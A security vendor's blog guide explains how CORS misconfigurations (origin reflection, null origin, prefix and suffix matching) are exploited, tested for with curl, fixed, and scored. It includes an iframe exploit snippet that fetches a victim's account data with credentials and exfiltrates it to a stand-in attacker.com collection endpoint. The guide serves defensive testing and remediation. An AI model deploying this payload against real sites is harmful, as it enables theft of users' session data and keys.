All articlesAttack Techniques

CORS Misconfiguration: How Attackers Exploit It and How to Test Yours

April 3, 2026·11 min read·Nautillo Pro Security Team

CORS misconfiguration is one of the most frequently confirmed vulnerabilities in modern web applications — and one of the most misunderstood. This guide explains exactly how attackers exploit it, what constitutes proof of impact, and how to test your own app with real HTTP examples.

What CORS is — and what it isn't

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which external origins can read responses from your server. When a browser makes a cross-origin request, it checks the response headers to decide whether the calling JavaScript is allowed to access the response body.

CORS is a browser enforcement mechanism. It does not prevent the server from receiving the request — it prevents the browser from exposing the response to the calling JavaScript. This distinction matters for understanding what CORS misconfiguration actually enables.

A misconfigured CORS policy means an attacker-controlled website can make credentialed cross-origin requests to your API and read the responses — including session data, account details, tokens, or any other authenticated content.

The three exploitable CORS patterns

1. Origin reflection

The server echoes whatever origin the request sends back in Access-Control-Allow-Origin. This is the most impactful pattern — any origin is trusted, including attacker-controlled domains.

# Request from attacker's site
GET /api/account/profile HTTP/1.1
Host: app.example.com
Origin: https://attacker.com
Cookie: session=abc123

# Server reflects origin back
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com   ← reflected
Access-Control-Allow-Credentials: true               ← credentials included
Content-Type: application/json

{ "email": "victim@example.com", "api_key": "sk_live_..." }

With Access-Control-Allow-Credentials: true, the browser sends the victim's session cookie with the request and allows the attacker's JavaScript to read the full response. This is confirmed account data theft.

2. Null origin bypass

Some applications whitelist the null origin — typically to support local file development. Attackers can generate a null origin from sandboxed iframes, making this an exploitable misconfiguration in production.

GET /api/account/profile HTTP/1.1
Origin: null

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Exploit delivery via sandboxed iframe on an attacker-controlled page:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
  <script>
    fetch('https://app.example.com/api/account/profile', { credentials: 'include' })
      .then(r => r.json())
      .then(d => fetch('https://attacker.com/collect?data=' + btoa(JSON.stringify(d))))
  </script>
"></iframe>

3. Subdomain wildcard and prefix matching

Applications that check only whether the origin starts with or ends with a trusted domain are vulnerable to subdomain bypass. If https://example.com is trusted, an attacker who controls https://evil.example.com or registers https://example.com.attacker.com can exploit the match.

# Suffix match bypass — attacker registers example.com.evil.com
GET /api/account/profile HTTP/1.1
Origin: https://example.com.evil.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://example.com.evil.com   ← trusted incorrectly

What makes a CORS finding exploitable vs. informational

Not every permissive CORS header is a confirmed vulnerability. The exploitability depends on two conditions being true simultaneously:

1

The endpoint returns sensitive data

A permissive CORS policy on a public, unauthenticated endpoint that returns only public data is not exploitable. The policy needs to protect data the attacker couldn't otherwise access.

2

Access-Control-Allow-Credentials: true is set

Without credentials, the cross-origin request is anonymous. The attacker can make the request but only reads what an unauthenticated user could read anyway. Credentials flag is required for session-riding attacks.

If either condition is absent, the CORS finding is a hardening gap — worth fixing, but not a confirmed exploitable vulnerability. Report it separately from findings that have proof of impact.

End-to-end exploit scenario

Here is a complete attack chain against an application with origin reflection and credentials enabled:

1

Victim visits attacker's page

Attacker sends a phishing link or runs a malicious ad. Victim's browser loads https://attacker.com/exploit.html while logged into app.example.com.

2

Cross-origin fetch with credentials

JavaScript on the attacker's page calls fetch('https://app.example.com/api/account', { credentials: 'include' }). The victim's session cookie is sent automatically.

3

Server reflects origin and includes credentials flag

The server responds with Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true. The browser allows the response to be read.

4

Attacker reads victim's account data

The JavaScript reads the full JSON response — email, API keys, personal data, billing info — and exfiltrates it to attacker.com. No user interaction beyond visiting the page is required.

How to test your application for CORS misconfigurations

Step 1: Identify authenticated API endpoints

Focus on endpoints that return user-specific data — profile, settings, tokens, billing, documents. CORS only matters on endpoints where unauthorized access has impact.

Step 2: Send a cross-origin request with a controlled origin

curl -s -I -X GET https://app.example.com/api/account/profile   -H "Origin: https://attacker-test.com"   -H "Cookie: session=<your_valid_session>"

# Look for:
# Access-Control-Allow-Origin: https://attacker-test.com  ← reflected
# Access-Control-Allow-Credentials: true                   ← dangerous combination

Step 3: Test the null origin

curl -s -I -X GET https://app.example.com/api/account/profile   -H "Origin: null"   -H "Cookie: session=<your_valid_session>"

# If response contains:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
# → exploitable via sandboxed iframe

Step 4: Test subdomain and prefix bypass

# Test suffix bypass
curl -s -I -H "Origin: https://example.com.attacker.com"   https://app.example.com/api/account/profile

# Test prefix bypass
curl -s -I -H "Origin: https://example.com.evil.com"   https://app.example.com/api/account/profile

# Test subdomain (if you control a subdomain)
curl -s -I -H "Origin: https://sub.example.com"   https://app.example.com/api/account/profile

Step 5: Verify the preflight for non-simple requests

curl -s -I -X OPTIONS https://app.example.com/api/account/profile   -H "Origin: https://attacker-test.com"   -H "Access-Control-Request-Method: GET"   -H "Access-Control-Request-Headers: Authorization"

# Dangerous response:
# HTTP/1.1 200 OK
# Access-Control-Allow-Origin: https://attacker-test.com
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Allow-Credentials: true

How to fix CORS misconfigurations

Use an explicit allowlist, never reflect

// Bad — reflects any origin
const origin = req.headers.origin;
res.setHeader('Access-Control-Allow-Origin', origin);

// Good — validate against explicit list
const ALLOWED_ORIGINS = ['https://app.example.com', 'https://admin.example.com'];
const origin = req.headers.origin;
if (ALLOWED_ORIGINS.includes(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Vary', 'Origin'); // required when origin varies
}

Only set credentials flag when required

Access-Control-Allow-Credentials: true should only be set on endpoints that genuinely require cookie-based cross-origin access. Most API endpoints using Authorization headers don't need it — the header is sent regardless.

Never use Access-Control-Allow-Origin: * with credentials

Browsers block this combination entirely — a wildcard origin with credentials is invalid per the spec. But some frameworks silently fall back to origin reflection when this configuration is attempted, creating the vulnerability instead of an error.

Set Vary: Origin when the allowed origin changes per request

Without Vary: Origin, CDNs and caches may serve a response with one origin's CORS headers to a request from a different origin — bypassing the allowlist at the cache layer.

CVSS 3.1 scoring for CORS findings

A confirmed exploitable CORS misconfiguration (origin reflection + credentials + sensitive data endpoint) typically scores:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

AV:N — Network (remotely exploitable)

AC:L — Low complexity (no special conditions)

PR:N — No privileges required on the attacking side

UI:R — Requires victim to visit attacker's page

S:C — Scope changed (browser security boundary crossed)

C:H — High confidentiality impact (full response read)

Score: 8.2 High

A CORS finding on a public endpoint with no credentials drops to Informational — not a confirmed vulnerability, just a hardening gap.

Test your CORS configuration automatically

Nautillo Pro runs CORS exploitation tests across your authenticated API endpoints — testing origin reflection, null origin bypass, subdomain matching, and preflight abuse. Every confirmed finding includes the full HTTP request, response, and CVSS score.

See a live attack report